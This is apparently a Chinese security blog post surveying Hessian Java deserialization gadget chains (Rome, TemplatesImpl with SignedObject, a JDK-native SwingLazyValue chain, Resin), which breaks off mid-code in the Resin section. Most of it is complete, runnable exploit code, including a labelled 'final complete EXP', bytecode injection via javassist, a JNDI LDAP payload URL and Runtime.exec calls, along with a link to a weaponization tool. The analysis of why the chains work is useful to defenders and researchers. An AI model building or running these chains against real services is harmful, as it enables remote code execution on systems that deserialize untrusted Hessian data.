Hessian 反序列化链汇总
Hessian 反序列化链汇总
武器化工具:https://github.com/LINGX5/HessianExploit-tool
先来看 Hessian 反序列化要满足的条件:
- 起始方法只能为 hashCode/equals/compareTo 方法;
- 利用链中调用的成员变量不能为 transient 修饰;
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
这些条件是从何而来呢?
我们来看一个简单的例子,分析一下序列化和反序列化流程,以 hessian1 为例
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;
public class ObjectTest {
public static void main(String[] args) throws Exception {
Person test = new Person("test", 1);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new HessianOutput(baos).writeObject(test);
System.out.println(baos.toByteArray());
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
System.out.println(o);
}
}
序列化
首先是序列化
看 HessianOutput.writeObject() 方法,首先是获得序列化器,默认的自定义类使用的是 UnsafeSerializer

序列化器一共有 29 个,为不同类型执行序列化,不遵循 java 原生的序列化
获取过程中,会经过 com.caucho.hessian.io.SerializerFactory#loadSerializer 方法,经过一堆类型判断后,都不符合会来到 getDefaultSerializer() 方法

这里有个 !Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable 的判断,这个是要求要序列化的类是 Serializable 的子类 或者 _isAllowNonSerializable 为 true,而 isAllowNonSerializable 这个值是可以通过 SerializerFactory#setAllowNonSerializable 方法进行设置的,也就是 hessian 其实是可以支持反序列化任何类的,不需要实现 Serializable 接口也可以

我把 person 的 实现 serializable 去掉,运行下面这段代码,也是可以成功的
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import java.io.*;
public class ObjectTest {
public static void main(String[] args) throws Exception {
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
Person test = new Person("test", 1);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput heout = new HessianOutput(baos);
heout.setSerializerFactory(serializerFactory);
heout.writeObject(test);
System.out.println(baos.toByteArray());
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
System.out.println(o);
}
}

之后就执行 create() 方法

跟踪 create() 这个方法会来到 UnsafeSerializer#introspect 获取序列化类的字段值,但是 有 transient 和 static 修饰符的字段,不参与序列化

接着看反序列化流程,回到 HessianOutput#writeObject 方法 ,拿到反序列化器 UnsafeSerializer 后,要执行 writeObject() 方法进行对象的序列化

writeObjectBegin() 会调用 ==> writeMapBegin() 把序列化的对象标记为 map 先写入 map 标记 77 和 116 也就是 Mt
hessian1 中没有 Object 的序列化和反序列化,而是把不认识的对象标记为map进行序列化和反序列化

返回 ref 为 -2 ,会走到 UnsafeSerializer#writeObject10 方法,对字段进行序列化,但是 transient 和 static 修饰符的字段并没有添加到 _fields[] 数组中,所以不会进行序列化

序列化到此就结束了,从序列化过程我们不难看出,利用链需要满足 成员变量不能为 transient 修饰
反序列化
这里走的是 HessianInput#readObject() 而非 java 原生的 readObject,他利用的是 unsafe 类 来进行字段填充的,这里首先读取 type 值,其实就是序列化是的 writeObjectBegin() 填充的 77 和 116 (map 标记) ,也就直接进入了 case: 77 分支

之后进入 readMap 方法,第一步是获取反序列化器

获得的调用栈
<init>:80, UnsafeDeserializer (com.caucho.hessian.io)
getDefaultDeserializer:542, SerializerFactory (com.caucho.hessian.io)
loadDeserializer:495, SerializerFactory (com.caucho.hessian.io)
getDeserializer:417, SerializerFactory (com.caucho.hessian.io)
getDeserializer:725, SerializerFactory (com.caucho.hessian.io)
readMap:568, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
main:22, ObjectTest (com.example)
一般情况下自定义类的反序列化会是 UnsafeDeserializer

拿到反序列化器,就要执行 反序列化器的 readMap() 方法

UnsafeDeserializer#readMap 中就两行代码

this.instantiate() ,这个就是通过 unsafe 实例化类,我们都知道 unsafe 是不会执行类构造器和 getter、setter 等方法的,所以 反序列化链的条件 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑 也就理解了

调用 native 方法

直接返回对象实例
this.readMap(in, obj) 反序列化

显然这种不走构造方法、getter、setter 方法的反序列化,相对是安全的
但是我们传入的反序列化类为 map 类型的话,就会执行 MapDeserializer#readMap 方法
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import java.io.*;
import java.util.HashMap;
public class ObjectTest {
public static void main(String[] args) throws Exception {
Person test = new Person("test", 1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(test, "test");
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput heout = new HessianOutput(baos);
heout.writeObject(hashMap);
System.out.println(baos.toByteArray());
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
System.out.println(o);
}
}
就会进入 最后的 else 分支,执行 MapDeserializer#readMap 方法

MapDeserializer#readMap 会执行 map.put()

熟悉的都知道 map.put 是会执行 putVal ==> equals、hash == > hashcode 的

而且在 hessian 中对于 SortedMap,将会使用 TreeMap。而 TreeMap 的 put 方法,有 compare 方法的调用

所以这就是 起始方法只能为 hashCode/equals/compareTo 方法 的原因
Remo 链
依赖
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
Remo 链调用栈
JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
EqualsBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
HessianInput.readObject()
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.security.auth.login.Configuration;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Vector;
public class HessianRomeJDBC {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// 创建JdbcRowSetImpl
String url = "ldap://127.0.0.1:1389/Basic/Command/calc";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "test");
// 自上而下执行 getter、setter方法,添加值防止报错
Vector<String> strMatchColumns = new Vector<>();
strMatchColumns.add("username");
setFieldValue(jdbcRowSet,"strMatchColumns" ,strMatchColumns);
FileOutputStream fos = new FileOutputStream("hessianJDBC.ser");
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(fos);
ho.writeObject(hashMap);
ho.close();
FileInputStream fis = new FileInputStream("hessianJDBC.ser");
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
HessianInput hi = new HessianInput(fis);
hi.readObject();
}
}
// 自上而下执行 getter、setter 方法,添加值防止报错
VectorstrMatchColumns = new Vector <>();
strMatchColumns.add("username");
setFieldValue(jdbcRowSet, "strMatchColumns" , strMatchColumns);
这个代码看好多文章都没有加,但是我在调试过程中发现 JdbcRowSetImpl 的 getter 方法在 ToStringBean 中是顺序执行的,strMatchColumns 为空会抛异常,从而终止 Remo 链的正常执行
本地开启 jndi

成功执行

这里使用的时 JdbcRowSetImpl.getDatabaseMetaData(),那么 TemplatesImpl 的 getOutputProperties() 方法可以吗
答案是不可以,因为 TemplatesImpl 的 _tfactory 属性为 transient ,不能进行序列化与反序列化,所以不管怎样 _tfactory 的值始终为 null

那为什么在其他的反序列化链中 TemplatesImpl 链可以正常执行呢?

因为在 java 原生的反序列化中会去执行 TemplatesImpl 的 readObject()方法来进行反序列化,这个方法中完成了 transient 属性的初始化,而 Hessian 自己的序列化与反序列化不遵循 java 原生反序列化的规则,不执行自定义的 readObject()
TemplatesImpl+SignedObject 二次反序列化
很遗憾 Remo 链不能直接使用 TemplatesImpl 实现类加载,但幸运的是 java 原生包中有 SignedObject 这样一个类,可以让我们能 getter 方法中进行 java 原生的反序列化操作
我们看看这个方法

this.content 是一个 byte[] 数组,可以直接走 ObjectInputStream.readObject() 方法,也就是原生的 java 反序列化链,可以正常使用 TemplatesImpl 实现字节码类加载
调用栈
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:340, HashMap (java.util)
readObject:1419, HashMap (java.util)
readObject:461, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:340, HashMap (java.util)
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
main:74, HessianTemplates (com.example)
代码
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
public class HessianTemplates {
private static byte[] getEvilBytes() throws Exception {
ClassPool ctClass = ClassPool.getDefault();
CtClass evil = ctClass.makeClass("evil");
evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
return evil.toBytecode();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] evilBytes = getEvilBytes();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes});
// 第一次封装,走第二次反序列化
ToStringBean toStringBean = new ToStringBean(String.class,"aaa");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(equalsBean, "test");
setFieldValue(toStringBean,"_beanClass", Templates.class);
setFieldValue(toStringBean,"_obj",templates);
// 第二次封装,走 Remo 链反序列化
// 初始化 SignedObject
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
// 创建签名对象
Signature signature = Signature.getInstance("SHA1withRSA"); // 或其他合适的算法
SignedObject signedObject = new SignedObject(hashMap2, privateKey, signature);
ToStringBean toStringBean1 = new ToStringBean(String.class, "signedObject");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1, "test");
setFieldValue(toStringBean1, "_beanClass", SignedObject.class);
setFieldValue(toStringBean1, "_obj", signedObject);
// 序列化
FileOutputStream fos = new FileOutputStream("hessian.ser");
HessianOutput ho = new HessianOutput(fos);
ho.writeObject(hashMap1);
ho.flush();
// 反序列化
FileInputStream fis = new FileInputStream("hessian.ser");
HessianInput hessianInput = new HessianInput(fis);
hessianInput.readObject();
}
}
成功执行

jdk 原生链
这个链不需要任何依赖
调用栈
createValue:67, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:813, Hashtable (java.util)
equals:813, Hashtable (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
验证代码
com.example.test 代码
package com.example;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
}
}
}
初次错误构造
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Hashtable;
/**
* createValue:67, SwingLazyValue (sun.swing)
* getFromHashtable:216, UIDefaults (javax.swing)
* get:161, UIDefaults (javax.swing)
* equals:813, Hashtable (java.util)
* equals:813, Hashtable (java.util)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
* readMap:114, MapDeserializer (com.caucho.hessian.io)
* readMap:577, SerializerFactory (com.caucho.hessian.io)
* readObject:1160, HessianInput (com.caucho.hessian.io)
*/
public class HessianJDK {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getBytecode(Class<?> targetClass) throws Exception {
// 1. 将类名转换为资源路径 (例如:com.example.Test -> com/example/Test.class)
String resourcePath = targetClass.getName().replace('.', '/') + ".class";
// 2. 使用 ClassLoader 获取资源流
try (InputStream is = targetClass.getClassLoader().getResourceAsStream(resourcePath);
ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
if (is == null) {
throw new IllegalStateException("Class resource not found: " + resourcePath);
}
// 3. 将流中的所有字节读取到 ByteArrayOutputStream
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
// 4. 返回字节数组
return bos.toByteArray();
} catch (Exception e) {
// 处理异常
e.printStackTrace();
return null;
}
}
public static void main(String[] args) throws Exception{
// byte[] evilBytes = getBytecode(test.class);
byte[] evilBytes = new byte[]{-1,-2};
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe)theUnsafe.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
defineClass.setAccessible(true);
Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};
SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
// swingLazyValue.createValue( null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("test",swingLazyValue);
// uiDefaults.get("test");
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put("test","test");
// hashtable.equals(uiDefaults);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(hashtable, "test");
// 初始化执行static代码块
Class.forName("com.example.test").newInstance();
}
}
其中
83 行,86 行,89 行调试均可执行代码,弹出计算机
但是 hashMap.put(hashtable, "test"); 这行代码不会执行到 hashtable.equals() 方法
因为 java.util.HashMap#putVal 方法中的逻辑是存在 key 的冲突时,才会执行到 else 分支,比较冲突的两个 key 值
V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
// 1. 如果 table 为空或长度为0,就扩容
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length; //table变成长度16的数组
// 2. 计算要放到的桶下标 i = (n-1) & hash
// n 默认是16,所以 (16-1) & hash = 15 & hash
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null); // 桶是空的,直接放新节点
else {
// 3. 桶里已经有节点了 → 发生哈希冲突 → 走这里!
Node<K,V> e; K k;
if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))
e = p; // key 完全一样,准备替换旧值
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
// 链表插入(JDK8 之前就是一直走这里)
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // >=7
treeifyBin(tab, hash);
break;
}
if (e.hash == hash && ... ) // 又找到相同的key
// 替换值
}
}
// ... 最后如果真的是新key,modCount++,size++
}
}
想走到 13 行的 else 分支,执行 16 行的 key.equals(k) ,就需要发生 hash 冲突,也就是两次 put 的 key 值一样
hashMap.put(hashtable, "test");
hashMap.put(hashtable, "test");
这样在第二次 put 方法执行时,就会发生 hash 冲突,也就是 16 行的 key.equals(k) 代码,一定会是 hashtable.equals(hashtable)
因为我们既要保证链条执行 hashtable.equals() 方法,又要满足 hash 冲突
所以我们只能在 hashtable 中,找一找 hashtable.equals(uiDefaults); 执行的可能
java.util.Hashtable#equals 方法中刚好有 if (!value.equals(t.get(key))) 代码

测试伪代码:
public class HessianJDK {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
// swingLazyValue.createValue( null);
UIDefaults uiDefaults1 = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
uiDefaults1.put("hashtableKey",swingLazyValue);
uiDefaults2.put("hashtableKey",swingLazyValue);
// uiDefaults.get("test");
hashtable1.put("hashtableKey",uiDefaults1);
hashtable2.put("hashtableKey",uiDefaults2);
// hashtable2.equals(uiDefaults);
hashtable1.equals(hashtable2);
Class.forName("com.example.test").newInstance();
}
}
UIDefaults 是Hashtable的子类,且他并没有重写equals方法,所以执行他的equals方法就会调用父类Hashtable的equals方法。
创建两个UIDefaults 是为了防止
uiDefaults1.equals(uiDefaults1);这样死循环的出现
看到是可以执行成功的

剩下的解释序列化和反序列化了,在反序列化时,执行 的是 map.put(in.readObject(), in.readObject())

参数 in.readObject() 就是 hashmap 的 Node 变量,在 transient Node<K,V>[] table; 数组中添加即可
有聪明的同学就会发现,这个 table 变量不也是 transient 的吗?为什么它可以序列化,而在 TemplatesImpl 中的 _tfactory 变量就不行呢?
原因也很简单,在序列化的过程中,HashMap 作为特别的变量,单独处理了 table 变量的序列化与反序列化,对应方法为 com.caucho.hessian.io.MapSerializer#writeObject
二次可执行构造
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Hashtable;
/**
* createValue:67, SwingLazyValue (sun.swing)
* getFromHashtable:216, UIDefaults (javax.swing)
* get:161, UIDefaults (javax.swing)
* equals:813, Hashtable (java.util)
* equals:813, Hashtable (java.util)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
* readMap:114, MapDeserializer (com.caucho.hessian.io)
* readMap:577, SerializerFactory (com.caucho.hessian.io)
* readObject:1160, HessianInput (com.caucho.hessian.io)
*/
public class HessianJDK {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// byte[] evilBytes = getBytecode(test.class);
byte[] evilBytes = new byte[]{-54, -2};
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe)theUnsafe.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
defineClass.setAccessible(true);
Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};
SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
// swingLazyValue.createValue( null);
UIDefaults uiDefaults1 = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
uiDefaults1.put("hashtableKey",swingLazyValue);
uiDefaults2.put("hashtableKey",swingLazyValue);
// uiDefaults.get("test");
hashtable1.put("hashtableKey",uiDefaults1);
hashtable2.put("hashtableKey",uiDefaults2);
// hashtable1.equals(uiDefaults);
// hashtable1.equals(hashtable2);
HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(hashtable1, "test");
// hashMap.put(hashtable2, "test");
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, hashtable1, "test", null);
Object node2 = nodeCC.newInstance(1, hashtable2, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
System.out.println(tbl);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
setFieldValue(hashMap, "table", tbl);
setFieldValue(hashMap, "size", 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();
Class.forName("com.example.test").newInstance();
}
}
可以执行实现类定义了

剩下的就是最后的 Class.forName("com.example.test").newInstance(); 利用该调用链在实现一次了
最后完整EXP
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Hashtable;
/**
* createValue:67, SwingLazyValue (sun.swing)
* getFromHashtable:216, UIDefaults (javax.swing)
* get:161, UIDefaults (javax.swing)
* equals:813, Hashtable (java.util)
* equals:813, Hashtable (java.util)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
* readMap:114, MapDeserializer (com.caucho.hessian.io)
* readMap:577, SerializerFactory (com.caucho.hessian.io)
* readObject:1160, HessianInput (com.caucho.hessian.io)
*/
public class HessianJDK {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// byte[] evilBytes = getBytecode(test.class);
byte[] evilBytes = new byte[]{-54};
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe)theUnsafe.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
defineClass.setAccessible(true);
Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};
SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
UIDefaults uiDefaults1 = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
uiDefaults1.put("hashtableKey",swingLazyValue);
uiDefaults2.put("hashtableKey",swingLazyValue);
hashtable1.put("hashtableKey",uiDefaults1);
hashtable2.put("hashtableKey",uiDefaults2);
/*
Class.forName("com.example.test").newInstance();类初始化的实现
*/
SwingLazyValue swingLazyValueNew = new SwingLazyValue("com.example.test", null, new Object[0]);
UIDefaults uiDefaultsNew1 = new UIDefaults();
UIDefaults uiDefaultsNew2 = new UIDefaults();
uiDefaultsNew1.put("hashtableKey", swingLazyValueNew);
uiDefaultsNew2.put("hashtableKey", swingLazyValueNew);
Hashtable<Object, Object> hashtableNew1 = new Hashtable<>();
Hashtable<Object, Object> hashtableNew2 = new Hashtable<>();
hashtableNew1.put("hashtableKey", uiDefaultsNew1);
hashtableNew2.put("hashtableKey", uiDefaultsNew2);
HashMap<Object, Object> hashMap = new HashMap<>();
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, hashtable1, "test", null);
Object node2 = nodeCC.newInstance(1, hashtable2, "test", null);
Object node3 = nodeCC.newInstance(2, hashtableNew1, "test", null);
Object node4 = nodeCC.newInstance(3, hashtableNew2, "test", null);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Array.set(tbl, 2, node3);
Array.set(tbl, 3, node4);
setFieldValue(hashMap, "table", tbl);
setFieldValue(hashMap, "size", 4);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();
}
}
成功执行

Resin链
依赖
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>
调用栈
NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
NamingManager.getObjectInstance() (javax.naming.spi)
NamingManager.getContext() (javax.naming.spi)
ContinuationContext.getTargetContext() (javax.naming.spi)
ContinuationContext.composeName() (javax.naming.spi)
QName.toString() (com.caucho.naming)
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
从调用栈也可以看出这跟打JNDI时很像,其实也确实,我们封装一个恶意的Reference发给服务器去解析,解析过程与JNDI的lookup过程基本一致,都是在NamingManager中实现类加载
所以
这个执行还是需要 trustCodeBase 为true

测试1:
package com.example;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;
